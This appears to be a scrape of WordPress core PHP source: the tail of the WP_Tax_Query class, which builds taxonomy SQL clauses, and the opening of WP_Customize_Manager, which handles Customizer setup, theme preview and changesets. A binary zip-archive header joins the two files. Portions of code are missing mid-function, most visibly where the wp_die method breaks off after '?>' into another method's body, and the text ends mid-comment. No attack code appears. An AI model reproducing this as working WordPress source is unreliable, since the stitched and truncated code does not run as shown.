'term_taxonomy_id'. Default: 'term_id'. * @type string $operator MySQL operator to be used with $terms in the WHERE clause. * Accepts 'AND', 'IN', 'NOT IN', 'EXISTS', 'NOT EXISTS'. * Default: 'IN'. * @type bool $include_children Optional. Whether to include child terms. * Requires a $taxonomy. Default: true. * } * } */ public function __construct( $tax_query ) { if ( isset( $tax_query['relation'] ) ) { $this->relation = $this->sanitize_relation( $tax_query['relation'] ); } else { $this->relation = 'AND'; } $this->queries = $this->sanitize_query( $tax_query ); } /** * Ensures the 'tax_query' argument passed to the class constructor is well-formed. * * Ensures that each query-level clause has a 'relation' key, and that * each first-order clause contains all the necessary keys from `$defaults`. * * @since 4.1.0 * * @param array $queries Array of queries clauses. * @return array Sanitized array of query clauses. */ public function sanitize_query( $queries ) { $cleaned_query = array(); $defaults = array( 'taxonomy' => '', 'terms' => array(), 'field' => 'term_id', 'operator' => 'IN', 'include_children' => true, ); foreach ( $queries as $key => $query ) { if ( 'relation' === $key ) { $cleaned_query['relation'] = $this->sanitize_relation( $query ); // First-order clause. } elseif ( self::is_first_order_clause( $query ) ) { $cleaned_clause = array_merge( $defaults, $query ); $cleaned_clause['terms'] = (array) $cleaned_clause['terms']; $cleaned_query[] = $cleaned_clause; /* * Keep a copy of the clause in the flate * $queried_terms array, for use in WP_Query. */ if ( ! empty( $cleaned_clause['taxonomy'] ) && 'NOT IN' !== $cleaned_clause['operator'] ) { $taxonomy = $cleaned_clause['taxonomy']; if ( ! isset( $this->queried_terms[ $taxonomy ] ) ) { $this->queried_terms[ $taxonomy ] = array(); } /* * Backward compatibility: Only store the first * 'terms' and 'field' found for a given taxonomy. */ if ( ! empty( $cleaned_clause['terms'] ) && ! isset( $this->queried_terms[ $taxonomy ]['terms'] ) ) { $this->queried_terms[ $taxonomy ]['terms'] = $cleaned_clause['terms']; } if ( ! empty( $cleaned_clause['field'] ) && ! isset( $this->queried_terms[ $taxonomy ]['field'] ) ) { $this->queried_terms[ $taxonomy ]['field'] = $cleaned_clause['field']; } } // Otherwise, it's a nested query, so we recurse. } elseif ( is_array( $query ) ) { $cleaned_subquery = $this->sanitize_query( $query ); if ( ! empty( $cleaned_subquery ) ) { // All queries with children must have a relation. if ( ! isset( $cleaned_subquery['relation'] ) ) { $cleaned_subquery['relation'] = 'AND'; } $cleaned_query[] = $cleaned_subquery; } } } return $cleaned_query; } /** * Sanitizes a 'relation' operator. * * @since 4.1.0 * * @param string $relation Raw relation key from the query argument. * @return string Sanitized relation. Either 'AND' or 'OR'. */ public function sanitize_relation( $relation ) { if ( 'OR' === strtoupper( $relation ) ) { return 'OR'; } else { return 'AND'; } } /** * Determines whether a clause is first-order. * * A "first-order" clause is one that contains any of the first-order * clause keys ('terms', 'taxonomy', 'include_children', 'field', * 'operator'). An empty clause also counts as a first-order clause, * for backward compatibility. Any clause that doesn't meet this is * determined, by process of elimination, to be a higher-order query. * * @since 4.1.0 * * @param array $query Tax query arguments. * @return bool Whether the query clause is a first-order clause. */ protected static function is_first_order_clause( $query ) { return is_array( $query ) && ( empty( $query ) || array_key_exists( 'terms', $query ) || array_key_exists( 'taxonomy', $query ) || array_key_exists( 'include_children', $query ) || array_key_exists( 'field', $query ) || array_key_exists( 'operator', $query ) ); } /** * Generates SQL clauses to be appended to a main query. * * @since 3.1.0 * * @param string $primary_table Database table where the object being filtered is stored (eg wp_users). * @param string $primary_id_column ID column for the filtered object in $primary_table. * @return string[] { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ public function get_sql( $primary_table, $primary_id_column ) { $this->primary_table = $primary_table; $this->primary_id_column = $primary_id_column; return $this->get_sql_clauses(); } /** * Generates SQL clauses to be appended to a main query. * * Called by the public WP_Tax_Query::get_sql(), this method * is abstracted out to maintain parity with the other Query classes. * * @since 4.1.0 * * @return string[] { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_clauses() { /* * $queries are passed by reference to get_sql_for_query() for recursion. * To keep $this->queries unaltered, pass a copy. */ $queries = $this->queries; $sql = $this->get_sql_for_query( $queries ); if ( ! empty( $sql['where'] ) ) { $sql['where'] = ' AND ' . $sql['where']; } return $sql; } /** * Generates SQL clauses for a single query array. * * If nested subqueries are found, this method recurses the tree to * produce the properly nested SQL. * * @since 4.1.0 * * @param array $query Query to parse (passed by reference). * @param int $depth Optional. Number of tree levels deep we currently are. * Used to calculate indentation. Default 0. * @return string[] { * Array containing JOIN and WHERE SQL clauses to append to a single query array. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_for_query( &$query, $depth = 0 ) { $sql_chunks = array( 'join' => array(), 'where' => array(), ); $sql = array( 'join' => '', 'where' => '', ); $indent = ''; for ( $i = 0; $i < $depth; $i++ ) { $indent .= ' '; } foreach ( $query as $key => &$clause ) { if ( 'relation' === $key ) { $relation = $query['relation']; } elseif ( is_array( $clause ) ) { // This is a first-order clause. if ( $this->is_first_order_clause( $clause ) ) { $clause_sql = $this->get_sql_for_clause( $clause, $query ); $where_count = count( $clause_sql['where'] ); if ( ! $where_count ) { $sql_chunks['where'][] = ''; } elseif ( 1 === $where_count ) { $sql_chunks['where'][] = $clause_sql['where'][0]; } else { $sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )'; } $sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] ); // This is a subquery, so we recurse. } else { $clause_sql = $this->get_sql_for_query( $clause, $depth + 1 ); $sql_chunks['where'][] = $clause_sql['where']; $sql_chunks['join'][] = $clause_sql['join']; } } } // Filter to remove empties. $sql_chunks['join'] = array_filter( $sql_chunks['join'] ); $sql_chunks['where'] = array_filter( $sql_chunks['where'] ); if ( empty( $relation ) ) { $relation = 'AND'; } // Filter duplicate JOIN clauses and combine into a single string. if ( ! empty( $sql_chunks['join'] ) ) { $sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) ); } // Generate a single WHERE clause with proper brackets and indentation. if ( ! empty( $sql_chunks['where'] ) ) { $sql['where'] = '( ' . "\n " . $indent . implode( ' ' . "\n " . $indent . $relation . ' ' . "\n " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')'; } return $sql; } /** * Generates SQL JOIN and WHERE clauses for a "first-order" query clause. * * @since 4.1.0 * * @global wpdb $wpdb The WordPress database abstraction object. * * @param array $clause Query clause (passed by reference). * @param array $parent_query Parent query array. * @return array { * Array containing JOIN and WHERE SQL clauses to append to a first-order query. * * @type string[] $join Array of SQL fragments to append to the main JOIN clause. * @type string[] $where Array of SQL fragments to append to the main WHERE clause. * } */ public function get_sql_for_clause( &$clause, $parent_query ) { global $wpdb; $sql = array( 'where' => array(), 'join' => array(), ); $join = ''; $where = ''; $this->clean_query( $clause ); if ( is_wp_error( $clause ) ) { return self::$no_results; } $terms = $clause['terms']; $operator = strtoupper( $clause['operator'] ); if ( 'IN' === $operator ) { if ( empty( $terms ) ) { return self::$no_results; } $terms = implode( ',', $terms ); /* * Before creating another table join, see if this clause has a * sibling with an existing join that can be shared. */ $alias = $this->find_compatible_table_alias( $clause, $parent_query ); if ( false === $alias ) { $i = count( $this->table_aliases ); $alias = $i ? 'tt' . $i : $wpdb->term_relationships; // Store the alias as part of a flat array to build future iterators. $this->table_aliases[] = $alias; // Store the alias with this clause, so later siblings can use it. $clause['alias'] = $alias; $join .= " LEFT JOIN $wpdb->term_relationships"; $join .= $i ? " AS $alias" : ''; $join .= " ON ($this->primary_table.$this->primary_id_column = $alias.object_id)"; } $where = "$alias.term_taxonomy_id $operator ($terms)"; } elseif ( 'NOT IN' === $operator ) { if ( empty( $terms ) ) { return $sql; } $terms = implode( ',', $terms ); $where = "$this->primary_table.$this->primary_id_column NOT IN ( SELECT object_id FROM $wpdb->term_relationships WHERE term_taxonomy_id IN ($terms) )"; } elseif ( 'AND' === $operator ) { if ( empty( $terms ) ) { return $sql; } $num_terms = count( $terms ); $terms = implode( ',', $terms ); $where = "( SELECT COUNT(1) FROM $wpdb->term_relationships WHERE term_taxonomy_id IN ($terms) AND object_id = $this->primary_table.$this->primary_id_column ) = $num_terms"; } elseif ( 'NOT EXISTS' === $operator || 'EXISTS' === $operator ) { $where = $wpdb->prepare( "$operator ( SELECT 1 FROM $wpdb->term_relationships INNER JOIN $wpdb->term_taxonomy ON $wpdb->term_taxonomy.term_taxonomy_id = $wpdb->term_relationships.term_taxonomy_id WHERE $wpdb->term_taxonomy.taxonomy = %s AND $wpdb->term_relationships.object_id = $this->primary_table.$this->primary_id_column )", $clause['taxonomy'] ); } $sql['join'][] = $join; $sql['where'][] = $where; return $sql; } /** * Identifies an existing table alias that is compatible with the current query clause. * * We avoid unnecessary table joins by allowing each clause to look for * an existing table alias that is compatible with the query that it * needs to perform. * * An existing alias is compatible if (a) it is a sibling of `$clause` * (ie, it's under the scope of the same relation), and (b) the combination * of operator and relation between the clauses allows for a shared table * join. In the case of WP_Tax_Query, this only applies to 'IN' * clauses that are connected by the relation 'OR'. * * @since 4.1.0 * * @param array $clause Query clause. * @param array $parent_query Parent query of $clause. * @return string|false Table alias if found, otherwise false. */ protected function find_compatible_table_alias( $clause, $parent_query ) { $alias = false; // Confidence check. Only IN queries use the JOIN syntax. if ( ! isset( $clause['operator'] ) || 'IN' !== $clause['operator'] ) { return $alias; } // Since we're only checking IN queries, we're only concerned with OR relations. if ( ! isset( $parent_query['relation'] ) || 'OR' !== $parent_query['relation'] ) { return $alias; } $compatible_operators = array( 'IN' ); foreach ( $parent_query as $sibling ) { if ( ! is_array( $sibling ) || ! $this->is_first_order_clause( $sibling ) ) { continue; } if ( empty( $sibling['alias'] ) || empty( $sibling['operator'] ) ) { continue; } // The sibling must both have compatible operator to share its alias. if ( in_array( strtoupper( $sibling['operator'] ), $compatible_operators, true ) ) { $alias = preg_replace( '/\W/', '_', $sibling['alias'] ); break; } } return $alias; } /** * Validates a single query. * * @since 3.2.0 * * @param array $query The single query. Passed by reference. */ private function clean_query( &$query ) { if ( empty( $query['taxonomy'] ) ) { if ( 'term_taxonomy_id' !== $query['field'] ) { $query = new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); return; } // So long as there are shared terms, 'include_children' requires that a taxonomy is set. $query['include_children'] = false; } elseif ( ! taxonomy_exists( $query['taxonomy'] ) ) { $query = new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); return; } if ( 'slug' === $query['field'] || 'name' === $query['field'] ) { $query['terms'] = array_unique( (array) $query['terms'] ); } else { $query['terms'] = wp_parse_id_list( $query['terms'] ); } if ( is_taxonomy_hierarchical( $query['taxonomy'] ) && $query['include_children'] ) { $this->transform_query( $query, 'term_id' ); if ( is_wp_error( $query ) ) { return; } $children = array(); foreach ( $query['terms'] as $term ) { $children = array_merge( $children, get_term_children( $term, $query['taxonomy'] ) ); $children[] = $term; } $query['terms'] = $children; } $this->transform_query( $query, 'term_taxonomy_id' ); } /** * Transforms a single query, from one field to another. * * Operates on the `$query` object by reference. In the case of error, * `$query` is converted to a WP_Error object. * * @since 3.2.0 * * @param array $query The single query. Passed by reference. * @param string $resulting_field The resulting field. Accepts 'slug', 'name', 'term_taxonomy_id', * or 'term_id'. Default 'term_id'. */ public function transform_query( &$query, $resulting_field ) { if ( empty( $query['terms'] ) ) { return; } if ( $query['field'] === $resulting_field ) { return; } $resulting_field = sanitize_key( $resulting_field ); // Empty 'terms' always results in a null transformation. $terms = array_filter( $query['terms'] ); if ( empty( $terms ) ) { $query['terms'] = array(); $query['field'] = $resulting_field; return; } $args = array( 'get' => 'all', 'number' => 0, 'taxonomy' => $query['taxonomy'], 'update_term_meta_cache' => false, 'orderby' => 'none', ); // Term query parameter name depends on the 'field' being searched on. switch ( $query['field'] ) { case 'slug': $args['slug'] = $terms; break; case 'name': $args['name'] = $terms; break; case 'term_taxonomy_id': $args['term_taxonomy_id'] = $terms; break; default: $args['include'] = wp_parse_id_list( $terms ); break; } if ( ! is_taxonomy_hierarchical( $query['taxonomy'] ) ) { $args['number'] = count( $terms ); } $term_query = new WP_Term_Query(); $term_list = $term_query->query( $args ); if ( is_wp_error( $term_list ) ) { $query = $term_list; return; } if ( 'AND' === $query['operator'] && count( $term_list ) < count( $query['terms'] ) ) { $query = new WP_Error( 'inexistent_terms', __( 'Inexistent terms.' ) ); return; } $query['terms'] = wp_list_pluck( $term_list, $resulting_field ); $query['field'] = $resulting_field; } } PK!Ø.Fƒƒclass-wp-customize-manager.phpnuȯÝícomponents[] = 'widgets'; } $this->original_stylesheet = get_stylesheet(); $this->theme = wp_get_theme( 0 === validate_file( $args['theme'] ) ? $args['theme'] : null ); $this->messenger_channel = $args['messenger_channel']; $this->_changeset_uuid = $args['changeset_uuid']; foreach ( array( 'settings_previewed', 'autosaved', 'branching' ) as $key ) { if ( isset( $args[ $key ] ) ) { $this->$key = (bool) $args[ $key ]; } } require_once ABSPATH . WPINC . '/class-wp-customize-setting.php'; require_once ABSPATH . WPINC . '/class-wp-customize-panel.php'; require_once ABSPATH . WPINC . '/class-wp-customize-section.php'; require_once ABSPATH . WPINC . '/class-wp-customize-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-color-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-media-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-upload-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-image-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-background-image-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-background-position-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-cropped-image-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-site-icon-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-header-image-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-theme-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-code-editor-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-widget-area-customize-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-widget-form-customize-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-item-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-location-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-name-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-locations-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-auto-add-control.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menus-panel.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-themes-panel.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-themes-section.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-sidebar-section.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-section.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-custom-css-setting.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-filter-setting.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-header-image-setting.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-background-image-setting.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-item-setting.php'; require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-setting.php'; /** * Filters the core Customizer components to load. * * This allows Core components to be excluded from being instantiated by * filtering them out of the array. Note that this filter generally runs * during the {@see 'plugins_loaded'} action, so it cannot be added * in a theme. * * @since 4.4.0 * * @see WP_Customize_Manager::__construct() * * @param string[] $components Array of core components to load. * @param WP_Customize_Manager $manager WP_Customize_Manager instance. */ $components = apply_filters( 'customize_loaded_components', $this->components, $this ); require_once ABSPATH . WPINC . '/customize/class-wp-customize-selective-refresh.php'; $this->selective_refresh = new WP_Customize_Selective_Refresh( $this ); if ( in_array( 'widgets', $components, true ) ) { require_once ABSPATH . WPINC . '/class-wp-customize-widgets.php'; $this->widgets = new WP_Customize_Widgets( $this ); } if ( in_array( 'nav_menus', $components, true ) ) { require_once ABSPATH . WPINC . '/class-wp-customize-nav-menus.php'; $this->nav_menus = new WP_Customize_Nav_Menus( $this ); } add_action( 'setup_theme', array( $this, 'setup_theme' ) ); add_action( 'wp_loaded', array( $this, 'wp_loaded' ) ); // Do not spawn cron (especially the alternate cron) while running the Customizer. remove_action( 'init', 'wp_cron' ); // Do not run update checks when rendering the controls. remove_action( 'admin_init', '_maybe_update_core' ); remove_action( 'admin_init', '_maybe_update_plugins' ); remove_action( 'admin_init', '_maybe_update_themes' ); add_action( 'wp_ajax_customize_save', array( $this, 'save' ) ); add_action( 'wp_ajax_customize_trash', array( $this, 'handle_changeset_trash_request' ) ); add_action( 'wp_ajax_customize_refresh_nonces', array( $this, 'refresh_nonces' ) ); add_action( 'wp_ajax_customize_load_themes', array( $this, 'handle_load_themes_request' ) ); add_filter( 'heartbeat_settings', array( $this, 'add_customize_screen_to_heartbeat_settings' ) ); add_filter( 'heartbeat_received', array( $this, 'check_changeset_lock_with_heartbeat' ), 10, 3 ); add_action( 'wp_ajax_customize_override_changeset_lock', array( $this, 'handle_override_changeset_lock_request' ) ); add_action( 'wp_ajax_customize_dismiss_autosave_or_lock', array( $this, 'handle_dismiss_autosave_or_lock_request' ) ); add_action( 'customize_register', array( $this, 'register_controls' ) ); add_action( 'customize_register', array( $this, 'register_dynamic_settings' ), 11 ); // Allow code to create settings first. add_action( 'customize_controls_init', array( $this, 'prepare_controls' ) ); add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_control_scripts' ) ); // Render Common, Panel, Section, and Control templates. add_action( 'customize_controls_print_footer_scripts', array( $this, 'render_panel_templates' ), 1 ); add_action( 'customize_controls_print_footer_scripts', array( $this, 'render_section_templates' ), 1 ); add_action( 'customize_controls_print_footer_scripts', array( $this, 'render_control_templates' ), 1 ); // Export header video settings with the partial response. add_filter( 'customize_render_partials_response', array( $this, 'export_header_video_settings' ), 10, 3 ); // Export the settings to JS via the _wpCustomizeSettings variable. add_action( 'customize_controls_print_footer_scripts', array( $this, 'customize_pane_settings' ), 1000 ); // Add theme update notices. if ( current_user_can( 'install_themes' ) || current_user_can( 'update_themes' ) ) { require_once ABSPATH . 'wp-admin/includes/update.php'; add_action( 'customize_controls_print_footer_scripts', 'wp_print_admin_notice_templates' ); } } /** * Returns true if it's an Ajax request. * * @since 3.4.0 * @since 4.2.0 Added `$action` param. * * @param string|null $action Whether the supplied Ajax action is being run. * @return bool True if it's an Ajax request, false otherwise. */ public function doing_ajax( $action = null ) { if ( ! wp_doing_ajax() ) { return false; } if ( ! $action ) { return true; } else { /* * Note: we can't just use doing_action( "wp_ajax_{$action}" ) because we need * to check before admin-ajax.php gets to that point. */ return isset( $_REQUEST['action'] ) && wp_unslash( $_REQUEST['action'] ) === $action; } } /** * Custom wp_die wrapper. Returns either the standard message for UI * or the Ajax message. * * @since 3.4.0 * * @param string|WP_Error $ajax_message Ajax return. * @param string $message Optional. UI message. */ protected function wp_die( $ajax_message, $message = null ) { if ( $this->doing_ajax() ) { wp_die( $ajax_message ); } if ( ! $message ) { $message = __( 'An error occurred while customizing. Please refresh the page and try again.' ); } if ( $this->messenger_channel ) { ob_start(); wp_enqueue_scripts(); wp_print_scripts( array( 'customize-base' ) ); $settings = array( 'messengerArgs' => array( 'channel' => $this->messenger_channel, 'url' => wp_customize_url(), ), 'error' => $ajax_message, ); $message .= ob_get_clean(); ob_start(); ?> doing_ajax() || isset( $_POST['customized'] ) ) { return '_ajax_wp_die_handler'; } return '_default_wp_die_handler'; } /** * Starts preview and customize theme. * * Check if customize query variable exist. Init filters to filter the active theme. * * @since 3.4.0 * * @global string $pagenow The filename of the current screen. */ public function setup_theme() { global $pagenow; // Check permissions for customize.php access since this method is called before customize.php can run any code. if ( 'customize.php' === $pagenow && ! current_user_can( 'customize' ) ) { if ( ! is_user_logged_in() ) { auth_redirect(); } else { wp_die( '

    ' . __( 'You need a higher level of permission.' ) . '

    ' . '

    ' . __( 'Sorry, you are not allowed to customize this site.' ) . '

    ', 403 ); } return; } // If a changeset was provided is invalid. if ( isset( $this->_changeset_uuid ) && false !== $this->_changeset_uuid && ! wp_is_uuid( $this->_changeset_uuid ) ) { $this->wp_die( -1, __( 'Invalid changeset UUID' ) ); } /* * Clear incoming post data if the user lacks a CSRF token (nonce). Note that the customizer * application will inject the customize_preview_nonce query parameter into all Ajax requests. * For similar behavior elsewhere in WordPress, see rest_cookie_check_errors() which logs out * a user when a valid nonce isn't present. */ $has_post_data_nonce = ( check_ajax_referer( 'preview-customize_' . $this->get_stylesheet(), 'nonce', false ) || check_ajax_referer( 'save-customize_' . $this->get_stylesheet(), 'nonce', false ) || check_ajax_referer( 'preview-customize_' . $this->get_stylesheet(), 'customize_preview_nonce', false ) ); if ( ! current_user_can( 'customize' ) || ! $has_post_data_nonce ) { unset( $_POST['customized'] ); unset( $_REQUEST['customized'] ); } /* * If unauthenticated then require a valid changeset UUID to load the preview. * In this way, the UUID serves as a secret key. If the messenger channel is present, * then send unauthenticated code to prompt re-auth. */ if ( ! current_user_can( 'customize' ) && ! $this->changeset_post_id() ) { $this->wp_die( $this->messenger_channel ? 0 : -1, __( 'Non-existent changeset UUID.' ) ); } if ( ! headers_sent() ) { send_origin_headers(); } // Hide the admin bar if we're embedded in the customizer iframe. if ( $this->messenger_channel ) { show_admin_bar( false ); } if ( $this->is_theme_active() ) { // Once the theme is loaded, we'll validate it. add_action( 'after_setup_theme', array( $this, 'after_setup_theme' ) ); } else { /* * If the requested theme is not the active theme and the user doesn't have * the switch_themes cap, bail. */ if ( ! current_user_can( 'switch_themes' ) ) { $this->wp_die( -1, __( 'Sorry, you are not allowed to edit theme options on this site.' ) ); } // If the theme has errors while loading, bail. if ( $this->theme()->errors() ) { $this->wp_die( -1, $this->theme()->errors()->get_error_message() ); } // If the theme isn't allowed per multisite settings, bail. if ( ! $this->theme()->is_allowed() ) { $this->wp_die( -1, __( 'The requested theme does not exist.' ) ); } } // Make sure changeset UUID is established immediately after the theme is loaded. add_action( 'after_setup_theme', array( $this, 'establish_loaded_changeset' ), 5 ); /* * Import theme starter content for fresh installations when landing in the customizer. * Import starter content at after_setup_theme:100 so that any * add_theme_support( 'starter-content' ) calls will have been made. */ if ( get_option( 'fresh_site' ) && 'customize.php' === $pagenow ) { add_action( 'after_setup_theme', array( $this, 'import_theme_starter_content' ), 100 ); } $this->start_previewing_theme(); } /** * Establishes the loaded changeset. * * This method runs right at after_setup_theme and applies the 'customize_changeset_branching' filter to determine * whether concurrent changesets are allowed. Then if the Customizer is not initialized with a `changeset_uuid` param, * this method will determine which UUID should be used. If changeset branching is disabled, then the most saved * changeset will be loaded by default. Otherwise, if there are no existing saved changesets or if changeset branching is * enabled, then a new UUID will be generated. * * @since 4.9.0 * * @global string $pagenow The filename of the current screen. */ public function establish_loaded_changeset() { global $pagenow; if ( empty( $this->_changeset_uuid ) ) { $changeset_uuid = null; if ( ! $this->branching() && $this->is_theme_active() ) { $unpublished_changeset_posts = $this->get_changeset_posts( array( 'post_status' => array_diff( get_post_stati(), array( 'auto-draft', 'publish', 'trash', 'inherit', 'private' ) ), 'exclude_restore_dismissed' => false, 'author' => 'any', 'posts_per_page' => 1, 'order' => 'DESC', 'orderby' => 'date', ) ); $unpublished_changeset_post = array_shift( $unpublished_changeset_posts ); if ( ! empty( $unpublished_changeset_post ) && wp_is_uuid( $unpublished_changeset_post->post_name ) ) { $changeset_uuid = $unpublished_changeset_post->post_name; } } // If no changeset UUID has been set yet, then generate a new one. if ( empty( $changeset_uuid ) ) { $changeset_uuid = wp_generate_uuid4(); } $this->_changeset_uuid = $changeset_uuid; } if ( is_admin() && 'customize.php' === $pagenow ) { $this->set_changeset_lock( $this->changeset_post_id() ); } } /** * Callback to validate a theme once it is loaded * * @since 3.4.0 */ public function after_setup_theme() { $doing_ajax_or_is_customized = ( $this->doing_ajax() || isset( $_POST['customized'] ) ); if ( ! $doing_ajax_or_is_customized && ! validate_current_theme() ) { wp_redirect( 'themes.php?broken=true' ); exit; } } /** * If the theme to be previewed isn't the active theme, add filter callbacks * to swap it out at runtime. * * @since 3.4.0 */ public function start_previewing_theme() { // Bail if we're already previewing. if ( $this->is_preview() ) { return; } $this->previewing = true; if ( ! $this->is_theme_active() ) { add_filter( 'template', array( $this, 'get_template' ) ); add_filter( 'stylesheet', array( $this, 'get_stylesheet' ) ); add_filter( 'pre_option_current_theme', array( $this, 'current_theme' ) ); // @link: https://core.trac.wordpress.org/ticket/20027 add_filter( 'pre_option_stylesheet', array( $this, 'get_stylesheet' ) ); add_filter( 'pre_option_template', array( $this, 'get_template' ) ); // Handle custom theme roots. add_filter( 'pre_option_stylesheet_root', array( $this, 'get_stylesheet_root' ) ); add_filter( 'pre_option_template_root', array( $this, 'get_template_root' ) ); } /** * Fires once the Customizer theme preview has started. * * @since 3.4.0 * * @param WP_Customize_Manager $manager WP_Customize_Manager instance. */ do_action( 'start_previewing_theme', $this ); } /** * Stops previewing the selected theme. * * Removes filters to change the active theme. * * @since 3.4.0 */ public function stop_previewing_theme() { if ( ! $this->is_preview() ) { return; } $this->previewing = false; if ( ! $this->is_theme_active() ) { remove_filter( 'template', array( $this, 'get_template' ) ); remove_filter( 'stylesheet', array( $this, 'get_stylesheet' ) ); remove_filter( 'pre_option_current_theme', array( $this, 'current_theme' ) ); // @link: https://core.trac.wordpress.org/ticket/20027 remove_filter( 'pre_option_stylesheet', array( $this, 'get_stylesheet' ) ); remove_filter( 'pre_option_template', array( $this, 'get_template' ) ); // Handle custom theme roots. remove_filter( 'pre_option_stylesheet_root', array( $this, 'get_stylesheet_root' ) ); remove_filter( 'pre_option_template_root', array( $this, 'get_template_root' ) ); } /** * Fires once the Customizer theme preview has stopped. * * @since 3.4.0 * * @param WP_Customize_Manager $manager WP_Customize_Manager instance. */ do_action( 'stop_previewing_theme', $this ); } /** * Gets whether settings are or will be previewed. * * @since 4.9.0 * * @see WP_Customize_Setting::preview() * * @return bool */ public function settings_previewed() { return $this->settings_previewed; } /** * Gets whether data from a changeset's autosaved revision should be loaded if it exists. * * @since 4.9.0 * * @see WP_Customize_Manager::changeset_data() * * @return bool Is using autosaved changeset revision. */ public function autosaved() { return $this->autosaved; } /** * Whether the changeset branching is allowed. * * @since 4.9.0 * * @see WP_Customize_Manager::establish_loaded_changeset() * * @return bool Is changeset branching. */ public function branching() { /** * Filters whether or not changeset branching is allowed. * * By default in core, when changeset branching is not allowed, changesets will operate * linearly in that only one saved changeset will exist at a time (with a 'draft' or * 'future' status). This makes the Customizer operate in a way that is similar to going to * "edit" to one existing post: all users will be making changes to the same post, and autosave * revisions will be made for that post. * * By contrast, when changeset branching is allowed, then the model is like users going * to "add new" for a page and each user makes changes independently of each other since * they are all operating on their own separate pages, each getting their own separate * initial auto-drafts and then once initially saved, autosave revisions on top of that * user's specific post. * * Since linear changesets are deemed to be more suitable for the majority of WordPress users, * they are the default. For WordPress sites that have heavy site management in the Customizer * by multiple users then branching changesets should be enabled by means of this filter. * * @since 4.9.0 * * @param bool $allow_branching Whether branching is allowed. If `false`, the default, * then only one saved changeset exists at a time. * @param WP_Customize_Manager $wp_customize Manager instance. */ $this->branching = apply_filters( 'customize_changeset_branching', $this->branching, $this ); return $this->branching; } /** * Gets the changeset UUID. * * @since 4.7.0 * * @see WP_Customize_Manager::establish_loaded_changeset() * * @return string UUID. */ public function changeset_uuid() { if ( empty( $this->_changeset_uuid ) ) { $this->establish_loaded_changeset(); } return $this->_changeset_uuid; } /** * Gets the theme being customized. * * @since 3.4.0 * * @return WP_Theme */ public function theme() { if ( ! $this->theme ) { $this->theme = wp_get_theme(); } return $this->theme; } /** * Gets the registered settings. * * @since 3.4.0 * * @return array */ public function settings() { return $this->settings; } /** * Gets the registered controls. * * @since 3.4.0 * * @return array */ public function controls() { return $this->controls; } /** * Gets the registered containers. * * @since 4.0.0 * * @return array */ public function containers() { return $this->containers; } /** * Gets the registered sections. * * @since 3.4.0 * * @return array */ public function sections() { return $this->sections; } /** * Gets the registered panels. * * @since 4.0.0 * * @return array Panels. */ public function panels() { return $this->panels; } /** * Checks if the current theme is active. * * @since 3.4.0 * * @return bool */ public function is_theme_active() { return $this->get_stylesheet() === $this->original_stylesheet; } /** * Registers styles/scripts and initialize the preview of each setting * * @since 3.4.0 */ public function wp_loaded() { /* * Unconditionally register core types for panels, sections, and controls * in case plugin unhooks all customize_register actions. */ $this->register_panel_type( 'WP_Customize_Panel' ); $this->register_panel_type( 'WP_Customize_Themes_Panel' ); $this->register_section_type( 'WP_Customize_Section' ); $this->register_section_type( 'WP_Customize_Sidebar_Section' ); $this->register_section_type( 'WP_Customize_Themes_Section' ); $this->register_control_type( 'WP_Customize_Color_Control' ); $this->register_control_type( 'WP_Customize_Media_Control' ); $this->register_control_type( 'WP_Customize_Upload_Control' ); $this->register_control_type( 'WP_Customize_Image_Control' ); $this->register_control_type( 'WP_Customize_Background_Image_Control' ); $this->register_control_type( 'WP_Customize_Background_Position_Control' ); $this->register_control_type( 'WP_Customize_Cropped_Image_Control' ); $this->register_control_type( 'WP_Customize_Site_Icon_Control' ); $this->register_control_type( 'WP_Customize_Theme_Control' ); $this->register_control_type( 'WP_Customize_Code_Editor_Control' ); $this->register_control_type( 'WP_Customize_Date_Time_Control' ); /** * Fires once WordPress has loaded, allowing scripts and styles to be initialized. * * @since 3.4.0 * * @param 